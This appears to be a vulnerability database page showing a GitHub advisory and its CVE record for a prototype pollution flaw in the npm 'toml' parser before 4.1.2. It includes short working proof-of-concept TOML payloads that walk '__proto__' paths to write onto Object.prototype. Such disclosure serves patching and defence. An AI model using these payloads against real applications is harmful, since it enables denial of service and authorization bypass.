Vulnerability-Lookup

GHSA-V5MP-JGW5-2X6J

Vulnerability from github – Published: 2026-09-03 20:55 – Updated: 2026-09-03 20:55

Summary

toml-node: Prototype Pollution Leads to `Object.prototype` Corruption via `__proto__` Key-Path Desynchronization

Details

Summary

toml.parse() writes attacker-controlled keys onto Object.prototype. The compiler protects the tables it builds by creating them with Object.create(null), which neutralizes a direct [__proto__] table. An attacker bypasses that protection by routing a table path through a scalar value and into the real prototype chain: a path such as a.b.y.__proto__.__proto__, where a.b.y holds a number, resolves to Object.prototype and every subsequent key/value writes onto it.

The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings desynchronize, so the guard that should reject descending through an existing scalar never fires.

Steps to reproduce

Install the latest version and run the comma-desynchronization payload.

bash npm install toml@4.1.1

```js const toml = require("toml"); delete Object.prototype.polluted;

toml.parse([a.b] y = 1 [a.b.y.__proto__.__proto__] polluted = "yes");

console.log(({}).polluted); // -> "yes" ```

Observe that a freshly created object inherits the injected key, confirming Object.prototype was modified:

yes

Confirm the prefix-clear variant reaches the same result:

js toml.parse(` aa = 1 [[a]] [aa.__proto__.__proto__] polluted = "yes" `); console.log(({}).polluted); // -> "yes"

A nested gadget object is also injectable, not only scalar keys:

toml.parse(`
[a.b]
y = 1
[a.b.y.__proto__.__proto__.code]
val = "arbitrary"
`);
console.log(({}).code.val);     // -> "arbitrary"

Technical details

The compiler builds the result tree in lib/compiler.js. Tables are created with a null prototype, so a direct [__proto__] table only sets an ordinary own property and does not pollute:

var data = Object.create(null);   // line 7 — root has no prototype
// ...
target[k] = Object.create(null);  // line 64 — intermediate tables, no prototype

The defect is in deepRef, which resolves a table path by walking each key segment of the live object graph:

function deepRef(start, keys, value, off) {        // lib/compiler.js:183
  var traversedPath = "";
  var ctx = start;
  for (var i = 0; i < keys.length; i++) {
    var key = keys[i];
    traversedPath = traversedPath ? traversedPath + "." + key : key;
    if (typeof ctx[key] === "undefined") {
      if (i === keys.length - 1) { ctx[key] = value; }
      else { ctx[key] = Object.create(null); }
    } else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) {
      genError("Cannot redefine existing key '" + traversedPath + "'.", off);  // line 197 — the guard
    }
    ctx = ctx[key];                                // line 200 — follows __proto__ into the prototype chain
    if (ctx instanceof Array && ctx.length && i < keys.length - 1) {
      ctx = ctx[ctx.length - 1];
    }
  }
  return ctx;
}

Two problems combine:

1. deepRef treats __proto__ (and constructor, prototype) as ordinary traversable keys. Line 200 executes ctx = ctx[key] for every segment with no reserved-key check. When traversal reaches a scalar value — for example the number 1 stored at a.b.y — the next two __proto__ segments evaluate to Number.prototype and then Object.prototype. The null-prototype hardening covers only the container tables the compiler creates; it does not cover the values stored in them, and those values carry normal prototypes.

2. The guard on line 197 is defeated by a path-format desynchronization. currentPath is assigned two incompatible types: setPath stores an array (currentPath = path, line 151) while addTableArray stores a string (currentPath = quotedPath, line 172). When assign later builds the path of a value, it concatenates that array with a string:

var fullPath = currentPath ? currentPath + "." + keys.join(".") : keys.join("."); // line 77
valueAssignments.add(fullPath);                                                   // line 86

For the table [a.b], currentPath is the array ["a","b"], so currentPath + "." coerces it via Array.toString() to the comma-joined string "a,b". The value y = 1 is therefore recorded as "a,b.y". But deepRef, walking the path a.b.y.__proto__.__proto__, builds traversedPath with dots and checks valueAssignments.has("a.b.y"). The set contains "a,b.y", not "a.b.y", so the lookup misses and the guard never raises "Cannot redefine existing key". Traversal proceeds through the scalar 1 into Object.prototype.

Instrumenting the tracking sets after parsing the payload confirms the mismatch:

assignedPaths    : [ "a.b", "a,b.y", "a.b.y.__proto__.__proto__", ... ]
valueAssignments : [ "a,b.y", ... ]
deepRef checks valueAssignments.has("a.b.y")  ->  false   (recorded as "a,b.y")

A second route reaches the same state without the comma trick. A table array [[a]] triggers the prefix-clearing loop in addTableArray, which deletes tracking entries by string prefix and wipes the guard state before the __proto__ descent:

assignedPaths.forEach(function(p) {                 // lines 164-166
  if (p.indexOf(quotedPath) === 0) assignedPaths.delete(p);
});
valueAssignments.forEach(function(p) {              // lines 167-169
  if (p.indexOf(quotedPath) === 0) valueAssignments.delete(p);
});

Impact

Any application that calls toml.parse() on a TOML document an attacker can influence — uploaded configuration, project manifests, multi-tenant settings, package metadata — allows the attacker to write arbitrary properties onto Object.prototype.
Injected properties become visible on every object in the process. Depending on application gadgets, this enables denial of service (corrupting properties the runtime relies on), logic and authorization bypass (overriding flags read from plain objects), and, with a suitable sink, remote code execution.
The blast radius is the whole Node.js process, not just the parsed result object.
toml reports roughly 14.8 million weekly downloads and around 1,340 dependents, so the transitive exposure is large. Dependents that pass toml as the engine to front-matter or configuration loaders inherit the issue.

Credit: Duy Bui / @calif.io

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "toml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:55:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`toml.parse()` writes attacker-controlled keys onto `Object.prototype`. The compiler protects the tables it builds by creating them with `Object.create(null)`, which neutralizes a direct `[__proto__]` table. An attacker bypasses that protection by routing a table path *through a scalar value* and into the real prototype chain: a path such as `a.b.y.__proto__.__proto__`, where `a.b.y` holds a number, resolves to `Object.prototype` and every subsequent key/value writes onto it.\n\nThe bypass succeeds because the compiler\u0027s duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings **desynchronize**, so the guard that should reject descending through an existing scalar never fires.\n\n### Steps to reproduce\n\n1. Install the latest version and run the comma-desynchronization payload.\n\n   ```bash\n   npm install toml@4.1.1\n   ```\n\n   ```js\n   const toml = require(\"toml\");\n   delete Object.prototype.polluted;\n\n   toml.parse(`\n   [a.b]\n   y = 1\n   [a.b.y.__proto__.__proto__]\n   polluted = \"yes\"\n   `);\n\n   console.log(({}).polluted);   // -\u003e \"yes\"\n   ```\n\n2. Observe that a freshly created object inherits the injected key, confirming `Object.prototype` was modified:\n\n   ```\n   yes\n   ```\n\n3. Confirm the prefix-clear variant reaches the same result:\n\n   ```js\n   toml.parse(`\n   aa = 1\n   [[a]]\n   [aa.__proto__.__proto__]\n   polluted = \"yes\"\n   `);\n   console.log(({}).polluted);   // -\u003e \"yes\"\n   ```\n\nA nested gadget object is also injectable, not only scalar keys:\n\n```js\ntoml.parse(`\n[a.b]\ny = 1\n[a.b.y.__proto__.__proto__.code]\nval = \"arbitrary\"\n`);\nconsole.log(({}).code.val);     // -\u003e \"arbitrary\"\n```\n\n### Technical details\n\nThe compiler builds the result tree in `lib/compiler.js`. Tables are created with a null prototype, so a direct `[__proto__]` table only sets an ordinary own property and does not pollute:\n\n```js\nvar data = Object.create(null);   // line 7 \u2014 root has no prototype\n// ...\ntarget[k] = Object.create(null);  // line 64 \u2014 intermediate tables, no prototype\n```\n\nThe defect is in `deepRef`, which resolves a table path by walking each key segment of the live object graph:\n\n```js\nfunction deepRef(start, keys, value, off) {        // lib/compiler.js:183\n  var traversedPath = \"\";\n  var ctx = start;\n  for (var i = 0; i \u003c keys.length; i++) {\n    var key = keys[i];\n    traversedPath = traversedPath ? traversedPath + \".\" + key : key;\n    if (typeof ctx[key] === \"undefined\") {\n      if (i === keys.length - 1) { ctx[key] = value; }\n      else { ctx[key] = Object.create(null); }\n    } else if (i !== keys.length - 1 \u0026\u0026 valueAssignments.has(traversedPath)) {\n      genError(\"Cannot redefine existing key \u0027\" + traversedPath + \"\u0027.\", off);  // line 197 \u2014 the guard\n    }\n    ctx = ctx[key];                                // line 200 \u2014 follows __proto__ into the prototype chain\n    if (ctx instanceof Array \u0026\u0026 ctx.length \u0026\u0026 i \u003c keys.length - 1) {\n      ctx = ctx[ctx.length - 1];\n    }\n  }\n  return ctx;\n}\n```\n\nTwo problems combine:\n\n**1. `deepRef` treats `__proto__` (and `constructor`, `prototype`) as ordinary traversable keys.** Line 200 executes `ctx = ctx[key]` for every segment with no reserved-key check. When traversal reaches a scalar value \u2014 for example the number `1` stored at `a.b.y` \u2014 the next two `__proto__` segments evaluate to `Number.prototype` and then `Object.prototype`. The null-prototype hardening covers only the *container tables* the compiler creates; it does not cover the *values* stored in them, and those values carry normal prototypes.\n\n**2. The guard on line 197 is defeated by a path-format desynchronization.** `currentPath` is assigned two incompatible types: `setPath` stores an **array** (`currentPath = path`, line 151) while `addTableArray` stores a **string** (`currentPath = quotedPath`, line 172). When `assign` later builds the path of a value, it concatenates that array with a string:\n\n```js\nvar fullPath = currentPath ? currentPath + \".\" + keys.join(\".\") : keys.join(\".\"); // line 77\nvalueAssignments.add(fullPath);                                                   // line 86\n```\n\nFor the table `[a.b]`, `currentPath` is the array `[\"a\",\"b\"]`, so `currentPath + \".\"` coerces it via `Array.toString()` to the **comma-joined** string `\"a,b\"`. The value `y = 1` is therefore recorded as `\"a,b.y\"`. But `deepRef`, walking the path `a.b.y.__proto__.__proto__`, builds `traversedPath` with dots and checks `valueAssignments.has(\"a.b.y\")`. The set contains `\"a,b.y\"`, not `\"a.b.y\"`, so the lookup misses and the guard never raises \"Cannot redefine existing key\". Traversal proceeds through the scalar `1` into `Object.prototype`.\n\nInstrumenting the tracking sets after parsing the payload confirms the mismatch:\n\n```\nassignedPaths    : [ \"a.b\", \"a,b.y\", \"a.b.y.__proto__.__proto__\", ... ]\nvalueAssignments : [ \"a,b.y\", ... ]\ndeepRef checks valueAssignments.has(\"a.b.y\")  -\u003e  false   (recorded as \"a,b.y\")\n```\n\nA second route reaches the same state without the comma trick. A table array `[[a]]` triggers the prefix-clearing loop in `addTableArray`, which deletes tracking entries by string prefix and wipes the guard state before the `__proto__` descent:\n\n```js\nassignedPaths.forEach(function(p) {                 // lines 164-166\n  if (p.indexOf(quotedPath) === 0) assignedPaths.delete(p);\n});\nvalueAssignments.forEach(function(p) {              // lines 167-169\n  if (p.indexOf(quotedPath) === 0) valueAssignments.delete(p);\n});\n```\n\n### Impact\n\n- Any application that calls `toml.parse()` on a TOML document an attacker can influence \u2014 uploaded configuration, project manifests, multi-tenant settings, package metadata \u2014 allows the attacker to write arbitrary properties onto `Object.prototype`.\n- Injected properties become visible on every object in the process. Depending on application gadgets, this enables denial of service (corrupting properties the runtime relies on), logic and authorization bypass (overriding flags read from plain objects), and, with a suitable sink, remote code execution.\n- The blast radius is the whole Node.js process, not just the parsed result object.\n- `toml` reports roughly 14.8 million weekly downloads and around 1,340 dependents, so the transitive exposure is large. Dependents that pass `toml` as the engine to front-matter or configuration loaders inherit the issue.\n\n---\n\nCredit: Duy Bui / @[calif.io](http://calif.io/)",
  "id": "GHSA-v5mp-jgw5-2x6j",
  "modified": "2026-09-03T20:55:32Z",
  "published": "2026-09-03T20:55:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-v5mp-jgw5-2x6j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/commit/def6ab5ea99038c0dd482cd6af1745a6af8b4c44"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BinaryMuse/toml-node/commit/dfaff662276adc38a2e03df3139f7119b0185463"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BinaryMuse/toml-node"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "toml-node: Prototype Pollution Leads to `Object.prototype` Corruption via `__proto__` Key-Path Desynchronization"
}

CVE-2026-63376 (GCVE-0-2026-63376)

Vulnerability from cvelistv5 – Published: 2026-09-03 20:34 – Updated: 2026-09-05 02:16

Title

toml-node: Prototype Pollution Leads to `Object.prototype` Corruption via `__proto__` Key-Path Desynchronization

Summary

toml-node is a TOML parser for Node.js and the browser. Prior to 4.1.2, toml.parse() in lib/compiler.js can be tricked by a table path such as a.b.y.__proto__.__proto__, allowing traversal from a scalar value into Number.prototype and Object.prototype. The currentPath tracking value uses both arrays and strings, so valueAssignments records a comma-joined path such as a,b.y while deepRef checks the dot-joined path a.b.y, allowing the duplicate-key guard to miss and attacker-controlled keys to be written to Object.prototype. A table-array prefix-clearing path in addTableArray can also erase guard state before the same __proto__ traversal. Injected properties become visible throughout the Node.js process and can cause denial of service, logic or authorization bypass, or code execution when an application contains a suitable gadget. This issue is fixed in version 4.1.2.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-05 02:15 UTC

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/BinaryMuse/toml-node/security/…	x_refsource_CONFIRM
https://github.com/BinaryMuse/toml-node/commit/de…	x_refsource_MISC
https://github.com/BinaryMuse/toml-node/commit/df…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
BinaryMuse	toml-node	Affected: < 4.1.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-63376",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-05T02:15:49.966502Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-05T02:16:12.985Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-v5mp-jgw5-2x6j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "toml-node",
          "vendor": "BinaryMuse",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.1.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "toml-node is a TOML parser for Node.js and the browser. Prior to 4.1.2, toml.parse() in lib/compiler.js can be tricked by a table path such as a.b.y.__proto__.__proto__, allowing traversal from a scalar value into Number.prototype and Object.prototype. The currentPath tracking value uses both arrays and strings, so valueAssignments records a comma-joined path such as a,b.y while deepRef checks the dot-joined path a.b.y, allowing the duplicate-key guard to miss and attacker-controlled keys to be written to Object.prototype. A table-array prefix-clearing path in addTableArray can also erase guard state before the same __proto__ traversal. Injected properties become visible throughout the Node.js process and can cause denial of service, logic or authorization bypass, or code execution when an application contains a suitable gadget. This issue is fixed in version 4.1.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1321",
              "description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-03T20:34:57.129Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-v5mp-jgw5-2x6j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-v5mp-jgw5-2x6j"
        },
        {
          "name": "https://github.com/BinaryMuse/toml-node/commit/def6ab5ea99038c0dd482cd6af1745a6af8b4c44",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/BinaryMuse/toml-node/commit/def6ab5ea99038c0dd482cd6af1745a6af8b4c44"
        },
        {
          "name": "https://github.com/BinaryMuse/toml-node/commit/dfaff662276adc38a2e03df3139f7119b0185463",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/BinaryMuse/toml-node/commit/dfaff662276adc38a2e03df3139f7119b0185463"
        }
      ],
      "source": {
        "advisory": "GHSA-v5mp-jgw5-2x6j",
        "discovery": "UNKNOWN"
      },
      "title": "toml-node: Prototype Pollution Leads to `Object.prototype` Corruption via `__proto__` Key-Path Desynchronization"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-63376",
    "datePublished": "2026-09-03T20:34:57.129Z",
    "dateReserved": "2026-07-16T17:39:30.170Z",
    "dateUpdated": "2026-09-05T02:16:12.985Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-V5MP-JGW5-2X6J

Summary

Steps to reproduce

Technical details

Impact

CVE-2026-63376 (GCVE-0-2026-63376)

Tags

Sightings

Nomenclature